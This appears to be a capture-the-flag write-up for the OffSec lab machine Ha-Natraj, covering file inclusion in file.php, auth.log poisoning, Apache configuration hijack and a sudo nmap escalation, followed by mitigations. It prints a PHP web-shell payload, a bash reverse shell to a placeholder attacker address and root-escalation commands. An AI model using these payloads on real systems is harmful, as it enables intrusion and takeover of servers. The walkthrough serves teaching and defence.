Ha-Natraj is a machine that demands patience and rewards lateral thinking. The web server exposes a PHP file inclusion vulnerability buried inside a /console/ directory — file.php accepts a file parameter and includes it verbatim, making it a classic LFI. Reading /var/log/auth.log through the LFI reveals that the log is writable by poisoning SSH connection attempts, turning a read primitive into remote code execution as www-data. From there, sudo -l surfaces something unusual: www-data Can restart Apache2 with no password. Apache2's configuration file turns out to be writable, and changing the User directive to mahakal — one of two user accounts found in /etc/passwd — causes Apache to respawn worker processes as that user. A fresh reverse shell lands as mahakal. One more sudo -l reveals the final step: passwordless nmap. A two-line NSE script and sudo nmap --script later, the effective UID is root.
Press enter or click to view image in full size
Attack Path: LFI (file.php) → log poisoning (auth.log) → RCE as www-data → sudo systemctl + writable apache2.conf → shell as mahakal → sudo nmap NSE (root)
Platform: OffSec Proving Grounds Play
Machine: Ha-Natraj
Difficulty: Easy
OS: Linux (Ubuntu)
Date: 2026–03–30
Table of Contents
1. Reconnaissance
1.1 Nmap Port Scan
1.2 Web Directory Enumeration
1.3 Discovering file.php
2. Initial Access — LFI to Log Poisoning RCE
2.1 Confirming the LFI Parameter
2.2 Reading /etc/passwd — User Discovery
2.3 Reading /var/log/auth.log — Poisoning Vector Confirmed
2.4 Leaking file.php Source via PHP Filter
2.5 Poisoning auth.log and Triggering RCE
3. Lateral Movement — Apache2 User Hijack (www-data → mahakal)
3.1 sudo -l — Restart Apache2 with No Password
3.2 Finding Writable apache2.conf
3.3 Changing the Apache User and Catching a Shell as mahakal
4. Privilege Escalation — sudo nmap NSE Script
5. Proof of Compromise
6. Vulnerability Summary
7. Defense & Mitigation
7.1 Local File Inclusion in file.php
7.2 Auth Log Readable and Poisonable via LFI
7.3 Apache Directory Listing Enabled
7.4 www-data Granted sudo on systemctl apache2
7.5 apache2.conf Writable by www-data
7.6 sudo NOPASSWD: nmap for mahakal1. Reconnaissance
1.1 Nmap Port Scan
nmap -Pn -A -p- --open <TARGET_IP>Results:
Port State Service Version
------ ----- ------- -------------------------------------------
22/tcp open SSH OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp open HTTP Apache httpd 2.4.29 (Ubuntu)Two ports. SSH and HTTP. The HTTP title comes back as HA:Natraj — a custom page, not a default install. OS fingerprint puts the kernel between 3.10 and 4.11. Standard two-port surface; the web server is where enumeration starts.
1.2 Web Directory Enumeration
gobuster dir -u http://<TARGET_IP>/ -w /usr/share/dirb/wordlists/common.txtResults:
Path Status Notes
--------- ------ ----------------------------------
/console 301 Redirects to /console/
/images 301 Redirects to /images/
/index.html 200 Custom landing page/console/ is the non-standard result. The redirect confirms the directory exists and Apache is serving it. /images/ is expected on a themed machine and turns out to contain nothing useful. The console path is the next stop.
1.3 Discovering file.php
curl http://<TARGET_IP>/console/Press enter or click to view image in full size
Directory listing is enabled and exposes a single PHP file:
file.php 2020-06-03 140 bytesA PHP file named file.php in a directory called console. The name and size both suggest a file inclusion handler. The next step is confirming what parameter it accepts.
2. Initial Access — LFI to Log Poisoning RCE
2.1 Confirming the LFI Parameter
ffuf -u 'http://<TARGET_IP>/console/file.php?FUZZ=/etc/passwd' \
-w /usr/share/wordlists/dirb/common.txt \
-fs 0Result:
file [Status: 200, Size: 1398, Words: 9, Lines: 28]Press enter or click to view image in full size
The file parameter returns a non-empty 200 response when pointed at /etc/passwd. That confirms local file inclusion — the script is reading and outputting arbitrary files from the filesystem.
2.2 Reading /etc/passwd — User Discovery
curl -i "http://<TARGET_IP>/console/file.php?file=/etc/passwd"Output (relevant lines):
natraj:x:1000:1000:natraj,,,:/home/natraj:/bin/bash
mahakal:x:1001:1001:,,,,:/home/mahakal:/bin/bashPress enter or click to view image in full size
Two interactive users on the box: natraj (UID 1000) and mahakal (UID 1001). Both have bash shells. Neither has a password visible — shadow passwords are in use. The question is whether there is a way to reach either account from the web shell context.
2.3 Reading /var/log/auth.log — Poisoning Vector Confirmed
curl http://<TARGET_IP>/console/file.php?file=/var/log/auth.logPress enter or click to view image in full size
The file is readable. The log is actively recording SSH connection attempts — including failed ones — with the connecting username written into the log entry. This is the poisoning vector: anything sent as an SSH username lands verbatim in auth.log, and auth.log is readable via the LFI. If the username contains a PHP payload, including auth.log through the LFI will execute it.
2.4 Leaking file.php Source via PHP Filter
Before poisoning the log, confirm that the LFI uses include() rather than file_get_contents() — only include() will execute PHP code from the included file.
curl -s "http://<TARGET_IP>/console/file.php?file=php://filter/convert.base64-encode/resource=file.php" \
| base64 -dDecoded source:
<?php
$file = $_GET['file'];
if(isset($file))
{
include("$file");
}
else
{
include("index.php");
}
?>Press enter or click to view image in full size
include("$file") — confirmed. PHP code in any included file will be evaluated. The poison will execute.
💡 The PHP
php://filterwrapper reads a file's raw content without executing it, then encodes it in base64. This is how source code is leaked through an LFI without triggering execution — the base64-encoded output is safe to read, and decoding it locally reveals the original PHP.
2.5 Poisoning auth.log and Triggering RCE
The SSH client rejects PHP code as an invalid username. Instead, use netcat to send the raw SSH banner and a PHP payload directly to port 22:
echo '<?php system($_GET["cmd"]); ?>' | nc <TARGET_IP> 22The server responds with its SSH banner, and the PHP payload is written into auth.log as a failed authentication attempt username. With the poison in place, trigger it through the LFI with a command parameter:
Get Roshan Rajbanshi’s stories in your inbox
Join Medium for free to get updates from this writer.
Start the listener:
nc -lvnp 4444Trigger the reverse shell:
curl -s "http://<TARGET_IP>/console/file.php?file=/var/log/auth.log&cmd=bash+-c+'bash+-i+>%26+/dev/tcp/<ATTACKER_IP>/4444+0>%261'"Shell received:
connect to [<ATTACKER_IP>] from (UNKNOWN) [<TARGET_IP>] 53560
www-data@ubuntu:/var/www/html/console$Shell as www-data. The log poisoning worked — the PHP payload in auth.log was included and executed, spawning a bash reverse shell.
3. Lateral Movement — Apache2 User Hijack (www-data → mahakal)
3.1 sudo -l — Restart Apache2 with No Password
sudo -lOutput:
User www-data may run the following commands on ubuntu:
(ALL) NOPASSWD: /bin/systemctl start apache2
(ALL) NOPASSWD: /bin/systemctl stop apache2
(ALL) NOPASSWD: /bin/systemctl restart apache2Press enter or click to view image in full size
www-data can restart Apache2 as root with no password. This is only useful if the Apache configuration can also be modified — a restart applies any pending configuration changes. The next step is checking whether apache2.conf is writable.
3.2 Finding Writable apache2.conf
find /etc/apache2 /lib/systemd/system -writable 2>/dev/nullOutput (partial):
/etc/apache2/apache2.conf
/lib/systemd/system/single.service
/lib/systemd/system/bootmisc.service
.../etc/apache2/apache2.conf is writable by www-data. Apache2's main configuration file controls which system user the web server worker processes run as — specifically the User and Group directives. Changing these to mahakal and restarting the service will cause new Apache worker processes to spawn as mahakal instead of www-data. Any PHP code executed by those workers will run in that user context.
3.3 Changing the Apache User and Catching a Shell as mahakal
Rewrite the User and Group directives in apache2.conf in a single pipeline:
cat /etc/apache2/apache2.conf \
| sed 's/User ${APACHE_RUN_USER}/User mahakal/' \
| sed 's/Group ${APACHE_RUN_GROUP}/Group mahakal/' \
> /tmp/apache2.conf.tmp \
&& cat /tmp/apache2.conf.tmp > /etc/apache2/apache2.confRestart Apache2:
sudo /bin/systemctl restart apache2Start a fresh listener and trigger the LFI again with the same log poison payload — this time, the new Apache worker processes are running as mahakal:
connect to [<ATTACKER_IP>] from (UNKNOWN) [<TARGET_IP>] 46918
mahakal@ubuntu:/var/www/html/console$Shell as mahakal.
💡 The
Userdirective inapache2.confuses a variable substitution syntax (${APACHE_RUN_USER}) which resolves at service start. Replacing the entire variable reference with a literal username sidesteps the variable entirely and hard-codes the user directly into the configuration.
4. Privilege Escalation — sudo nmap NSE Script
sudo -lOutput:
User mahakal may run the following commands on ubuntu:
(root) NOPASSWD: /usr/bin/nmapPress enter or click to view image in full size
mahakal can run nmap as root with no password. Nmap supports Lua scripting via the --script flag — any .nse The file passed to it is executed by the nmap process. Since the nmap process here runs as root, the Lua script inherits root privileges. This is a well-documented GTFObins technique.
Write a minimal NSE script that spawns a shell:
echo "os.execute('/bin/bash')" > /tmp/root.nseExecute it:
sudo /usr/bin/nmap --script=/tmp/root.nseOutput:
id
uid=0(root) gid=0(root) groups=0(root)Root.
5. Proof of Compromise
uid=0(root) gid=0(root) groups=0(root)6. Vulnerability Summary
# Vulnerability Severity Impact
-- ---------------------------------------------- --------- -----------------------------------------------
1 Local File Inclusion in file.php Critical Arbitrary file read; escalates to RCE via log poison
2 auth.log poisonable via SSH username injection High PHP payload planted and executed via LFI include
3 Apache directory listing on /console/ Medium file.php discoverable without authentication
4 www-data granted sudo on systemctl apache2 High Service restart leveraged for lateral movement
5 apache2.conf writable by www-data Critical Apache user changed to mahakal; new shell spawned
6 sudo NOPASSWD: nmap for mahakal Critical Local privilege escalation to root via NSE script7. Defense & Mitigation
7.1 Local File Inclusion in file.php
Root Cause: file.php passed the file GET parameter directly to PHP's include() function with no validation or sanitization. Any path accessible to the web server process could be included and — if it contained PHP code — executed.
Mitigations:
- Never pass user-controlled input to
include(),require(),file_get_contents(), or any file system function. If dynamic file inclusion is genuinely required, use a strict allowlist of permitted filenames and map user input to that list — never use the raw input as a path. - Disable PHP stream wrappers where not needed. The
php://filterwrapper used to leak source code is enabled by default. Setallow_url_fopen = Offand restrict wrapper accessphp.inito reduce the attack surface of any LFI that does exist. - Set
open_basedirin the PHP configuration. This restricts which directories PHP can read from, limiting the damage a file inclusion vulnerability can cause even if it is exploited.
open_basedir = /var/www/html- Remove
file.phpfrom any production environment. There is no legitimate reason for a generic file inclusion handler to exist in a web root. If it was placed there for testing, it must be removed before the server is exposed.
7.2 Auth Log Readable and Poisonable via LFI
Root Cause: /var/log/auth.log was readable by the www-data process, and SSH logs authentication usernames verbatim. Combining a readable log with an include()-Based on LFI, created a code execution path — inject PHP into the log via a crafted SSH username, then trigger execution through the LFI.
Mitigations:
- Restrict log file permissions.
/var/log/auth.logshould be owned byroota groupadmand permissions640. Thewww-datauser has no legitimate reason to read authentication logs.
chmod 640 /var/log/auth.log
chown root:adm /var/log/auth.log- Use
file_get_contents()instead ofinclude()for file display.file_get_contents()Returns the raw content of a file as a string — it does not execute PHP within it. If the intent is to display a file's contents, this is the correct function.include()evaluates any PHP it encounters, which is what enables this attack entirely. - Send logs to a remote, centralized logging server. If auth logs are shipped off-system in real time, a local attacker cannot read or poison them on the compromised host.
7.3 Apache Directory Listing Enabled
Root Cause: Options Indexes was active on /console/, exposing file.php to any visitor who browses to that path.
Mitigations:
- Disable directory listing globally. Set
Options -Indexesin the Apache configuration for the document root. This is standard hardening and should be the default on every Apache deployment.
<Directory /var/www/html>
Options -Indexes
</Directory>- Remove development and testing PHP files before exposing a server.
file.phpshould not exist in any production web root regardless of whether directory listing is enabled.
7.4 www-data Granted sudo on systemctl apache2
Root Cause: The www-data user was granted passwordless sudo access to start, stop, and restart Apache2. Combined with a writable configuration file, this created a direct lateral movement path to any system user named in apache2.conf.
Mitigations:
- Remove this sudo entry. There is no operational justification for a web server process user to restart its own service. Service restarts should be performed by administrators via a controlled process — not by the process itself.
- If an automated restart is genuinely required, use a tightly scoped mechanism. A dedicated restart script with hard-coded safe arguments, owned by root, executed via a specific sudo rule — not a blanket
systemctlpermission that can be combined with a writable config file. - Separate the web server process user from any user with operational privileges.
www-datamust never have write access to the configuration of any service it runs under.
7.5 apache2.conf Writable by www-data
Root Cause: /etc/apache2/apache2.conf had permissions that allowed www-data to write to it. This meant the user running the web server could modify its own runtime configuration — including which system user it spawned worker processes as.
Mitigations:
- Audit and correct permissions on all Apache configuration files.
chown root:root /etc/apache2/apache2.conf
chmod 644 /etc/apache2/apache2.conf- Configuration files under
/etc/apache2/should be owned by root and writable only by root. The web server process user must never have write access to its own configuration. - Apply file integrity monitoring to
/etc/apache2/. Any modification to Apache configuration files outside of a controlled maintenance window should generate an immediate alert.
7.6 sudo NOPASSWD: nmap for mahakal
Root Cause: The mahakal user was granted passwordless sudo access to /usr/bin/nmap. Nmap's --script flag executes arbitrary Lua code — since the process runs as root, the Lua script inherits root privileges. This is a one-step GTFObins escalation.
Mitigations:
- Remove this sudo entry immediately. There is no scenario in which a standard user account needs to run nmap as root. Network scanning tools should be run by administrators directly, not delegated through sudoers.
- Check GTFObins before adding any binary to sudoers. Nmap is prominently listed as a GTFOBins escalation vector via its
--scriptflag. Any binary that can execute arbitrary code or spawn a shell must never appear in a NOPASSWD sudoers rule. - Audit all sudoers entries regularly. Review
/etc/sudoersevery file in/etc/sudoers.d/. Any NOPASSWD entry for a non-trivial binary — especially interpreters, network tools, or anything that can execute external code — is a privilege escalation waiting to happen.
OffSec PG Play — for educational purposes only.